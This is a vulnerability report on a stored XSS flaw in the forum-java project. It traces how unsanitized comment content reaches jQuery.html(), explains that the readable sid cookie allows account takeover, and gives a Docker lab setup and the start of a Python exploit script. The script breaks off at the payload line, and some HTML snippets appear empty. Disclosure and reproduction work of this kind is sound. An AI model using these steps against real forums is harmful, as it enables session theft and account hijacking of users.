# forum-java Vulnerability Report
Software: forum-java
Developer or vendor: Qbian61
Code repository: https://github.com/Qbian61/forum-java
## 1. Stored XSS in the Comment Reply Dialog
Brief description: An attacker posts a comment that contains an XSS payload. The script runs when a victim clicks Reply on that comment, and the attacker takes over the account of the victim.
Affected versions: 20f7e68 to 63152c49
Introduced in: [forum-java commit 20f7e68f](https://github.com/Qbian61/forum-java/commit/20f7e68ff5d465fe6de91adab4f94df36fc22f63)
Preconditions: The attacker holds a regular account.
### Root Cause
Comment content is stored and rendered without HTML sanitizing. `CommentManager.create` calls `CommentTransfer.toComment`, which saves the `content` field of the request into the `forum_comment` table as it is:
```java
// forum-app/src/main/java/pub/developers/forum/app/transfer/CommentTransfer.java:19-26 commit 63152c49c7
public static Comment toComment(CommentCreateRequest request, User user) {
return Comment.builder()
.content(request.getContent())
.postsId(request.getPostsId())
.replyId(request.getReplyId())
.userId(user.getId())
.build();
}
```
The article page puts the comment content into a `data-reply-content` attribute:
```html
```
Thymeleaf HTML-escapes the attribute value, but the browser restores the entities when it parses `data-*` attributes, so `dataset.replyContent` holds the HTML the attacker submitted. When Reply is clicked, `posts-script.html` passes that value to `jQuery.html()`:
```js
// forum-portal/src/main/resources/templates/include/posts-script.html:30-34 commit 63152c49c7
$('.reply-comment').on('click', function (e) {
$('#commentModalDropLabel').html('回复 ' + this.dataset.replyNickname);
$('#repliedContent').html(this.dataset.replyContent);
replyContent.attr('placeholder', '回复' + this.dataset.replyNickname);
replyBtn.attr('data-reply-id', this.dataset.replyId);
});
```
`jQuery.html()` parses the string as HTML, so the `` inside the comment runs when the dialog opens. The script runs in the origin of the site and reads the cookies of the page. The `sid` cookie that the server sets after login carries `Path=/` and no `HttpOnly`, so the script can read it. The comment appears immediately and passes no review.
### Reproduction Environment
The upstream repository ships no compose file, so the lab builds the jar with a Maven image and runs it next to MySQL. The build commands are:
```bash
git clone https://github.com/Qbian61/forum-java.git
cd forum-java
docker run --rm -v "$PWD":/src -w /src maven:3.8-jdk-8 mvn -B -DskipTests package
```
Copy `forum-starter/src/main/resources/schema.sql` and `data.sql` from the repository to `mysql-init/01-schema.sql` and `mysql-init/02-data.sql`. MySQL 8.0 does not parse `data.sql` as UTF-8 when it imports it, so add `SET NAMES utf8mb4;` on the first line of `02-data.sql`, otherwise the Chinese text on the page turns into mojibake.
Then add one more SQL file that sets the password of the built-in administrator account to `Admin@12345`, so that the session hijack can be demonstrated:
```sql
-- mysql-init/03-admin.sql
UPDATE `forum_user` SET `password` = '14ab33f6d1cb88c0d2e563da939f0303' WHERE `id` = 1;
```
Write `docker-compose.yml` in the repository root:
```yaml
services:
db:
image: mysql:8.0
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: forumroot
MYSQL_DATABASE: forum-java
volumes:
- ./mysql-init:/docker-entrypoint-initdb.d:ro
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-pforumroot"]
interval: 5s
timeout: 5s
retries: 40
app:
image: eclipse-temurin:8-jre
depends_on:
db:
condition: service_healthy
environment:
SPRING_DATASOURCE_URL: jdbc:mysql://db:3306/forum-java?useUnicode=true&characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&allowPublicKeyRetrieval=true
SPRING_DATASOURCE_USERNAME: root
SPRING_DATASOURCE_PASSWORD: forumroot
ports:
- "18080:8080"
volumes:
- ./forum-starter/target/forum-java.jar:/app/app.jar:ro
command: ["java", "-Dfile.encoding=UTF-8", "-jar", "/app/app.jar"]
```
Start the lab:
```bash
docker compose up -d
```
In the steps below the site is reached at `http://127.0.0.1:18080`, and `192.0.2.10` stands for the host address. When the page address contains `127.0.0.1` or `localhost`, the admin SPA fixes the axios `baseURL` to `http://localhost:8080`; open the admin page through `http://192.0.2.10:18080/admin/user-manager` so that `baseURL` stays a relative path.
### Reproduction
Register the attacker account `attacker@example.com`, publish an article, and post a comment under it:
```python
import time
import httpx
BASE = "http://127.0.0.1:18080"
c = httpx.Client(base_url=BASE, timeout=20)
r = c.post("/user-rest/register", json={
"email": "attacker@example.com", "nickname": "attacker", "password": "Attacker@12345"})
print(r.status_code, r.text)
r = c.post("/article-rest/save", json={
"typeId": 3, "title": "XSS demo", "contentType": "MARKDOWN",
"markdownContent": "hello", "htmlContent": "
hello
", "headImg": "", "tagIds": [188]}) print(r.status_code, r.text) article_id = r.json()["data"] time.sleep(3) payload = '